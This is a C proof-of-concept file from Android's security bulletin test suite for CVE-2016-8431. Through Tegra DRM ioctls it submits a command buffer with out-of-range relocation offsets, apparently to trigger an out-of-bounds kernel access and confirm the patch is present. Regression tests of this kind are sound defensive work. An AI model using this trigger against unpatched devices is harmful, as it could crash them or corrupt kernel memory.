hostsidetests/securitybulletin/securityPatch/CVE-2016-8431/poc.c

/*
 * Copyright (C) 2017 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#define _GNU_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#include "local_poc.h"

#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
#define ERR(fmt, ...) printf(fmt " %d %s\n", ##__VA_ARGS__, errno, strerror(errno))

#define DEV "/dev/dri/renderD129"
#define CMD_NUM		1

int dev_fd;

volatile struct drm_tegra_open_channel	open_c;
volatile struct drm_tegra_submit		submit_c;
volatile struct drm_tegra_gem_create	gem_create;

struct drm_tegra_cmdbuf		cmdbufs[CMD_NUM];
struct drm_tegra_syncpt		syncpt;
struct drm_tegra_reloc		relocs[CMD_NUM];

static int prepare()
{
	open_c.client = HOST1X_CLASS_VIC;
	submit_c.num_syncpts = 1;
	submit_c.syncpts = (__u64)&syncpt;	
	submit_c.num_cmdbufs = CMD_NUM;
	submit_c.cmdbufs = (__u64)cmdbufs;
	submit_c.num_relocs = CMD_NUM;
	submit_c.relocs = (__u64)relocs;
	gem_create.size = PAGE_SIZE;
	return 0;
}

int main()
{
	int ret;
	int i;

	dev_fd = open(DEV,O_RDONLY);
	if(dev_fd == -1){
		return 0;
	}

	prepare();

	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
	if(ret == -1){
		goto out_dev;
	}

	submit_c.context = open_c.context;

	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_GEM_CREATE, &gem_create);
	if(ret == 0){
		for(i = 0; i < CMD_NUM; i++){
			cmdbufs[i].words = 0;
			cmdbufs[i].offset = 0;
			cmdbufs[i].handle = gem_create.handle;
			relocs[i].cmdbuf.handle = gem_create.handle;
			relocs[i].cmdbuf.offset = 8192;
			relocs[i].target.handle = gem_create.handle;
			relocs[i].target.offset = 8192;
		}
		ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
	}else{
	}

out_dev:
	close(dev_fd);
	return 0;
}